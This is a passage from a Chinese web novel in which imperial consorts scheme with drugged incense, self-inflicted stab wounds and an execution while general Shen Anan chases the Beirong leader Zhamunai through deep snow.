这宫里发生了太多荒唐事儿,最后都无疾而终,很容易给人形成一种不会被揭穿的错觉,李含萱便是被麻痹了,如今落得个只能被威胁的境地。 “我说怎么到处找不到他呢,原是他做错了事儿,自知我不会轻饶,躲去殿下那里求庇护了。”李含萱声音柔柔的。 这话是在表明,刺杀他的事情跟自己没关系。 那小文子定是受了别人的教唆,既然人在他手里,那他肯定审问过一遍了。 既然跟她没关系,那么一个小太监也威胁不到她。 夜亦天天真无邪的一笑,道:“贤娘娘,这世间颠倒黑白的事儿还少吗?您想明哲保身,可曾问过你的对手愿不愿意放过你?” “在你之前,陛下跟前的红人是楚娘娘,她何错之有?不过是去楚州替启西百姓请楚天明出山而已。 楚天明出山了,可还是没治了大家的心病,但这不是他们最想要的结果吗?最后楚娘娘被疏远了,你得以站在御前伺候。 可李家既能送你进来,那日后的张家王家,就不能再送其他人进来了吗?你虽得宠,但得的是怎样的宠,孤能不知道吗?” 得宠,多可笑的两个字。 哪个后宫嫔妃得宠只是端茶递水研墨?莫说侍寝了,她连龙床都没摸过。 她哪里就比得过楚舒茗?楚舒茗还能进出椒房殿,她连见皇后娘娘的资格都没有。 说到底,不就因为楚家跟皇家那点子姻亲关系吗? “殿下言之有理。”李含萱脑中很快将厉害过滤了一遍。 小文子放任不管,迟早是个祸害。 她如今的境地,跟昔日的荣贵妃和楚妃有何区别? 无实际意义上的圣宠,要消失时,没错处都能挑出错处来。 李含萱背后不但没有仰仗,还有个时刻都要捅刀子的丰庆郡主,她得比其他人更小心。 她说:“我愿为殿下解忧。” “贤娘娘如此心疼孤,孤日后会孝敬你的。”夜亦天说罢,转身离开了。 李含萱是个聪明人,该怎么做不用他细说。 李含萱回到宣明宫,桌子上放着丰庆早些日子送来的信。 这几日沈安安败了的消息,传遍了京城的大街小巷。 丰庆最知道怎么避风头了,也不催李含萱给李泽里讨封赏的事儿了。 丰庆带着儿子,做回了透明人,远离朝堂斗争。 可李含萱不能。 前朝后宫,紧密相连。 为何愚蠢的独孤若兰能执掌后宫?为何几番作死的赵时意能安然无恙? 因为她们背后都有仰仗,而她们的仰仗也是陛下的仰仗。 “芍药,把我夏日的薄衫拿来。”李含萱坐在妆台前,说着。 “娘娘,这天儿都这样冷了。”芍药说着,却是听话的将柜子里那套薄衫衣裳拿了出来。 这衣裳套在身上,春光能若隐若现,瞧着就让人心猿意马。 “不过娘娘苦心经营一番,陛下看到娘娘的诚心,这执掌后宫的权力,会落到娘娘手里的。”芍药只是心疼李含萱。 第190章 各自为营 可她不知道,自己这番话已经越界了。 李含萱愿意跟她以姐妹的方式相处,但她得时时刻刻都把自己的位置摆正。 什么该说什么不该说,她得时刻给自己敲响警钟。 可李含萱态度太温和了,从不曾跟她红过脸,这让她觉得自己真能做李含萱的姐姐了。 李含萱盯着铜镜里自己的脸,那双永远看上去清澈无辜的双眼里没表现出任何情绪。 她冲芍药开口道:“这权力永远也落不到我头上,我没有姑母那么好的命,我只求在这宫里能与你平平安安的度完余生。” “可是芍药,这点小小的愿望于我而言都是痴心妄想,宁妃收买小文子,想要把谋害太子的罪名推到我身上,来一个一石二鸟。 可她技不如人,不仅折了自己的人,还让人给人赃俱获,连累我也被威胁。 她们一个个背后都有依仗,可我有什么?这对她们来说是不足一提的小事儿,对我来说却是会掉脑袋的大事儿。 我必须要未雨绸缪,我只能给陛下生个孩子,哪怕是公主也好,这样旁人再想要我们的性命,都得掂量掂量了。” 李含萱精心打扮的事儿,传到了赵时意耳朵里。 上次她挨了打,背上留下了疤痕。 赵小高再也没跟她传过信了,她害怕不已,担心自己会成为被放弃的那个。 在彻底成为弃子之前,她得找到别的依靠,这个依靠只能是陛下。 “贤嫔这贱人,真有些能耐,陛下今夜竟然真的要去宣明宫。”银铃啐了一口道。 她已经是弃子了,之所以能活着,是因为赵时意在赵小高面前保着她。 如今再想回头去效忠赵小高是不可能了,她只得紧紧的抱住赵时意的大腿。 “去宣明宫。”赵时意起身,往宣明宫而去。 …… 萧沙岭大营里。 沈安安双手掐在腰上,瞪着面红耳赤的楚天明。 他可不是因为害羞,而是因为吃了败仗,被沈安安骂的。 “以前他们都说你们楚家军是一群怂蛋,我还不信,这次你们可真是让我开眼了。” “楚天明,你好样的,你把我留下来当靶子,你自己带着人跑了,要不是我把自己埋雪里躲一晚上,我现在都喂了秃鹫了。” 沈安安觉得身上的盔甲就是耻辱,她差点冻死在雪地里了。 要不是大雪封山,北戎骑兵不敢冒然上山,照着扎木乃要一雪前耻的架势,掘地三尺都要把她挖出来剁成一块块的。 楚天明说:“交战之前我就跟你说过了,战场上瞬息万变,该撤退就撤退,不然要全军覆没。” “当时我们已经被包围了,我是带兵突围,不是临阵脱逃,我们是打算等到大军跟上了,再一举围过去跟他们正面厮杀的。 我嗓子都喊破了,你只顾埋头猛冲啊……楚家军都是训练有素的……” 楚天明也是主将做习惯了,开战前拍着胸脯保证自己会听从沈安安的调遣,开战后自己就要做那个主宰战场的神。 他向来就是打得过就打,没把握就跑,以少胜多在他的认知里就是扯淡,一旦对方人数超出了自己,他就以保存实力为主。 他也不是去跟后面的大军汇合,跑到一半看北戎人都去追沈安安了,他就带人去偷物资了。 扎木乃本来就没抢多少东西,多一半被他给偷了。 北戎骑兵发现了,当然死命的追,然后他就跟大军汇合了,变成他追北戎骑兵了。 他娘的,正经打仗变成了偷家。 偷就偷吧,他还只偷吃的。 沈安安问他拿不走的为什么不一把火烧了? 他和楚家军那几个老兵异口同声的反问:“烧了下次偷什么?” 差点没把沈安安气的仰过去。 董聂是跟着沈安安的,自然向着她,跟那些老兵面对面的骂了好久。 还有看戏的韩柯,吃着楚天明抢来的牛羊,哈哈笑着让他们吵的更激烈点。 沈安安手一挥,“你的借口比屎尿还多,从现在开始,你和你的兵单独作战,随便你们想干什么。 你要是觉得人太少不安全,那你就待在这里守萧沙岭,韩柯,你来跟我打配合。” 韩柯咽下一口肉,“我吗?我不行啊,我就是个送饭的,将军你让我喂饭还行,打冲锋我是真不行。” “只要你不扭头就跑就行了,都吃饱喝足来,今晚我要把扎木乃的屎打出来。” 韩柯瞬间就觉得手里的肉不香了。 越往北戎方向,雪就越大。 雪地里行军,连战马也寸步难行,押送辎重的马车更是用不了。 董聂便带着凤州军,把粮草都背在了背上,先行去往沈安安指定的位置藏起来,多人行军不现实,一旦落入了对方的圈套,那就是全军覆没。 北戎早已经习惯了这样的天气,他们本身就要比凤州大军耐寒,他们的马匹也是。 即便在这样极端的天气下,他们仍旧可以骑马。 可这一次,沈安安要用步兵跟扎木乃打。 她只擅长冲锋,但这一次,她不再采取取长补短的打法了,她就要用自己偷袭的那一招,用步兵跟扎木乃打正面战。 不能一战成名,那就要遗臭万年了。 她是个要脸的人。 出发前,沈安安三令五申,“听我号令,要是有想效仿楚家军的,我就把他的头砍下来赴京请罪。” “出发。” …… 是夜,京城电闪雷鸣,乌云压顶。 不多时便淅淅沥沥的开始下雨了。 宣明宫静的出奇,主殿的门窗都关着,屋内燃着炭火盆子。 炭火和香味混杂在一起,一时间让人分不出到底是花的香味,还是其他什么香味。 这味道夜不群从进院子就闻到了,但看大雨里盛开着娇艳的花儿,便没作多想。 跨步进了房门,崔福留在了外面,替他关上了门。 床榻上,赵时意身上裹着的衣物,已经在她的撕扯下衣不蔽体了。 内里像是有火在烧,除了自己的心声,她什么声音都听不到,意识就像是被什么东西操控了似的。 她还没用美人香,怎么就变成了这样? 宣明宫里的味道,闻着就像是普通的熏香啊,也不是美人香的味道,可为什么她就是不能控制自己? 第191章 是女霸王 床帘是放下来的,灼灼身姿若隐若现。 等夜不群有反应的时候,他已经提不起来力气了。 与此同时,待在西华宫的李含萱坐立不安。 她宫里点燃的是美人香,只不过是叫人改良后的。 此时李含萱手中握着一把匕首,“锃”一声,匕首从刀鞘里拔出来。 李含萱双手握住,朝着自己的肚子就要捅。 芍药见状,忙扑过去,握住了她的手腕,“娘娘,这可使不得,宫里的御医不是我们随便就能请动的。” “奴婢什么都知晓……但奴婢不能让你冒这么大的风险。” 她知晓李含萱这一次是下定决心要把宁妃给除掉,但她不能在西华宫里说出来。 李含萱来西华宫,并不是赵时意的意思,而是她自己的意思。 她必须有不在场的证明,她不确定陛下会一怒之下处死赵时意,所以她必须添一把火,她这是在用命博。 替太子把赵时意除了,小文子就能回到她手上了,把柄落在别人手中,她连觉都会睡不安稳的。 “放手。”李含萱用命令的口吻说着,“你再耽误,我就要白挨一刀了。” 李含萱没多少耐心,她觉得芍药越发的放肆了,要不是留着她还有用,都不想再忍了。 “娘娘,要捅你就捅奴婢吧……”芍药一句话还没说完,赵时意手上的力道一松。 接着,她把匕首转了个方向,刀尖就那么出其不意的戳进了芍药的身体。 芍药瞪大了眸子,低头看着她沾满鲜血的双手,疼痛让芍药丧失了力气。 李含萱战战兢兢的说:“你说的没错芍药,想要成事,我们两个都得负伤。 你放心,我捅的不深,你只是受一点皮肉之苦,不会有性命危险的。” 李含萱说完,毫不犹豫的把匕首从芍药身上拔了下来。 她一双坚定的眸子,看着芍药,又铆足了劲儿将匕首捅进了自己的身体里。 “救命啊,来人啊,救命啊。”芍药看李含萱捅自己捅的更厉害,觉得她简直就是个疯子,本能的往门外爬,开始呼救。 她的害怕、惊慌,被李含萱尽收眼底。 李含萱眸中闪过嘲讽,说什么生死相依?大难还没落在头上呢,芍药就怕死的不行。 这世上,没有一个人会跟她同甘共苦,所有靠近她的,都是因为在她身上看到了利用价值。 宣明宫里,赵时意霸王硬上弓。 她一身的武艺,是赵小高亲自传授的,不会武功的夜不群哪里是她的对手? 美人香的作用下,她已经忘记了害怕。 她仅用一只手,就抓住了夜不群的两只手,箍的他根本动不了。 “赵时意,你是吃了雄性豹子胆吗?给朕松手。”强烈的药效下,夜不群仍在努力保持清醒。 可他的理智正在被吞噬,就像一叶扁舟漂泊在大海上,正在被海浪席卷一般。 他的身体,已然渐渐不受控制了。 “崔福,你是死人吗?”夜不群一句话脱口而出,下一瞬,赵时意的红唇便覆了下来,含住了他的薄唇。 她嘤咛着,贪恋的紧紧控制着他。 崔福闻言,着急慌忙的要往进走,被银铃给拦下来了。 银铃胆子也是大,横在崔福面前,无论对方怎样急言令色,她就是不为所动。 崔福也害怕,只得冲着夜空大喊一声:“护驾。” 得罪定国侯和得罪陛下里,他选择了前者。 千人斩闻声而来,影随风动,眨眼间,森寒的刀刃已经划破了银铃的脖子。 银铃双手抬起,捂着脖子,喷涌出来的鲜血让她指间滚烫。 “噗。”她口中蛄蛹出来一口血,倒在了地上。 这一刻,银铃才明白,原来定国侯教她的时候有所保留,她在千人斩面前,根本毫无招架之力,当然了,这兴许也跟她重伤未愈有关系。 可赵时意,赵小高是照着千人斩的方式训练出来的,她本来就有极高的武功天赋。 跟千人斩周旋了两刻钟,才败下阵来。 夜不群直接下令,“将这贱人就地斩杀。” 千人斩齐声应着:“是。” 手起刀落,赵时意人头落地。 可美人香的药效,便是巫马道奇都束手无策。 若是夜不群不能及时排解出来,真的会死。 西华宫的宫女拦在他去椒房殿的路上,汇报了李含萱中刀的事儿。 夜不群呼着热气,烦躁的说:“找御医。” 一名千人斩,得令后陪着宫女去太医院找太医了。 椒房殿内,夜不群已经神志不清,崔福将情况同安乐细细说了。 安乐皱着眉头,轻声说:“去倾兰宫请皇贵妃来。” 崔福不敢犹豫,应了一声“是”后匆匆离开了。 卧房里,安乐命人将夜不群扶在了床榻上,她褪去了自己的衣衫,抱住了他。 “陛下,你我也该做一对真夫妻了……” 安乐身子本就娇弱,夜不群又失了理智。 像一场冰雹一样,淋在安乐身上,她想躲的时候,已经无处可躲了。 前半夜是安乐,后半夜换成了独孤若兰。 独孤若兰也没想到,她会是在这样的情况下侍寝的。 她亲眼看着皇后被几个宫女从床榻上搀扶下来,满身大汗淋漓,看样子都快晕死过去了。 崔福叫来的御医,就在院子里候着,宫女们手忙脚乱的给安乐穿好衣服,外间崔福领着御医进来,给安乐检查身子。 一门之隔的卧房里,独孤若兰怀着复杂的心情,钻进了帷幔里。 “安安,安安。”夜不群在低声呢喃。 他一把将人拉了过去,紧紧的抱在怀里。 “安乐,安乐,我爱你,我好爱你。” 独孤若兰躺下来,感受着汹涌澎湃。 …… 翌日,夜不群睁开眼睛时,已经是酉时了。 他看到自己身边躺着独孤若兰,登时便撑起了身子。 可再一抬眼,就看见安乐散着一头的乌发,坐在床榻边。 他脑子轰隆一下,一句话都说不出,更不愿回想昨夜发生了什么。 独孤若兰不是睡着了,她是晕了。 夜不群定定的盯着安乐看了良久,终究是没吭一声,起身狼狈的离开了。 第192章 打不过就跑 北戎腹地。 沈安安和扎木乃正面遇上。 在倒下去就能把人一整个掩埋的茫茫雪地里,双方展开了厮杀。 沈安安眼中只有扎木乃,她提着黑枪,在雪地里蹒跚往前。 这样的环境下,北戎人的行动也缓慢了许多,打起来的时候双方都不敢靠的太近。 扎木乃不想跑了,一直都是他在逃亡,他就像野狗一样被沈安安驱赶来驱赶去的。 他是草原上的雄鹰,他应该是狩猎者,而不是一条四处逃窜的野狗。 扎木乃双手握着弯刀,大喝一声,冲着沈安安就冲了过来。 是跑的姿势,但脚踩在雪地上,整条腿立马就陷进去了,动作受限,根本就跑不起来。 沈安安控制距离,扎木乃就作势要逃跑。 她追,扎木乃就扭头也往她跟前儿冲。 这间隙,几名北戎人已经前后左右将沈安安围了起来。 他们甩出弯刀,沈安安只好矮下身子躲闪。 可这样一来,她人就埋进了雪地里,将雪地砸了一个深坑。 北戎人手中的弯刀再次甩出,朝着深坑劈下。 扎木乃更是整个人都跳起来,双手举着弯刀,“哈”一声重重劈了下来。 雪地里渗出了鲜血,将纯白的血染红了一大片。 扎木乃见状更兴奋了,指挥着几个北戎人,朝着血迹不断渗出的地方接连砍去。 “锃”是兵器碰撞的声音。 沈安安的黑枪破雪而出,弹开了弯刀,黑枪一个半旋,控制的恰到好处的距离,使得黑枪划破了北戎人的喉咙。 扎木乃反应迅速,身子往后一仰。 但因为太突然而没有收住力道,他直接背朝雪地倒了下去。 接着,沈安安站了起来,黑枪劈了下来,砸在了扎木乃的身上。 赶过来的凤州兵,举起大刀就要把扎木乃的脑袋砍下来,几个北戎人,不顾生死的跳过来,护在了扎木乃身前。 扎木乃直接从底下刨雪,从另一个地方钻了出去,逃之夭夭。 沈安安自然不愿意放弃,奋起就去追。 可扎木乃将自己的弯刀、盔甲、甚至连衣服全都丢掉不要了。 他两只脚一翘一翘的,头也不回的就跑,至于身后的北戎人,死活跟他没有关系。 “呸。”沈安安啐了一口,咬着牙忍着。 这扎木乃就像泥鳅一样,每次都能让他给跑了。 脱的光溜溜的逃命,他也不怕把自己给冻死了? 沈安安却不敢冒然去追,扎木乃敢这样跑,那就说明他肯定有办法生存。 可沈安安不一样,和队伍脱离了,连回程的路都会找不到,没有吃的,一晚上在这种地方就能被冻死。 北戎人和凤州兵打打杀杀。 北戎人数虽多,但扎木乃都跑了,他们也不想继续打了,一部分在迎敌,一部分学着扎木乃那样,直接开跑。 韩柯都看傻眼了,“他们这样光溜溜的也不怕冻死?” “这他娘的,怎么追?” 韩柯啐了一口血沫子,不甘心道:“这次又是差一点,怎么每次都是差一点,他娘的,这扎木乃是属泥鳅的吧?” 他真想一咬牙,也学着北戎人那样去追。 一阵风雪从领子里灌进去,冷的他瑟瑟发抖,韩柯立马就放弃了追人的想法。 “他们没剩多少粮草了,迟早还会出来抢,我们选个他随时都能找到的地方,守株待兔就好了。”沈安安喝了一口烧刀子取暖,酒不离身的。 沈安安领着剩余的凤州兵,扭头去找董聂汇合。 随着越来越深入的作战,董聂每天都会赶路,先行的沈安安一路上留下了路标,不怕双方人马互相找不到。 沈安安这次深入北戎腹地,就是打着灭掉北戎的主意来的,所以每次动手,她都是毫不犹豫的砍杀。 扎木乃的人已经被干掉了一半。 草原太大了,沈安安却是至今都没找到北戎人聚集的地方。 扎木乃带着北戎骑兵扰乱视听,就算将扎木乃全军覆没了,可没找到北戎人的聚集地,就不算真正的胜利。 要将北戎纳入轩辕的版图,那么让北戎人彻底臣服轩辕才是关键。 现在沈安安担心的是,北戎人已经进了西越境内。 人会繁衍生息,他们带着仇恨臣服于西越,假以时日,会组建一支更强的军队。 那么北戎这片土地,就间接的属于西越了。 …… 糟心的事情一桩接着一桩。 夜不群永远有本事将后宫发生的事儿摁在后宫里。 前朝不知道后宫发生的事儿,一个劲儿的还在给他找不痛快。 楚州迟迟没有消息再传来,京城里的大臣们都坐不住,他们理所应当的怀疑沈安安带着凤州军反了,一道又一道的折子送到了夜不群跟前儿。 这些无畏的猜测,夜不群不欲应付,但置之不理总归不行。 所以他给李含萱晋了位份,从贤嫔成了贤妃。 而一直跟李含萱作对的赵时意,被贬成了嫔位。 人虽然已经死了,但死亡的消息并没有放出来。 李家一看苗头有望,便开始给夜不群排忧解难了,成日跟那些说沈安安反了的言官们对骂。 读书人会吵架,能引经据典把人吵的哑口无言。 别看李太傅的学生官职小,但嘴皮子厉害,又有武文义和杨士青和稀泥,此事儿很快就翻篇了。 不知如何面对安乐的夜不群,成日都待在勤德殿里,已经有三日没去过椒房殿了。 安乐是什么心思,也没人猜得透,她还是和平常一样,待在椒房殿不出来。 宁妃死了、贤嫔重伤,这样大的事情,独孤若兰不知道该如何处理,往椒房殿跑了好几趟,安乐都不见她。 “皇后娘娘这是怎么了?”独孤若兰又是一趟白跑回来后,卧在卧房的美人榻上,唉声叹气。 青禾却是高兴,娘娘终于侍寝了。 而且月事都推迟了,保不齐就怀了龙种。 “皇后娘娘肯定是体恤您,想着让您好好休息,毕竟陛下将您折腾的不轻。 皇后娘娘也没好到哪里去,她身子骨本来就弱,肯定也在好生调养。 左右宁妃的尸首千人斩已经处理了,没什么好再管的,娘娘您又何必劳心费神?” “不管哪里行?本宫手握管理后宫大权,事后陛下问起来本宫没法交代,岂不是对不起陛下?”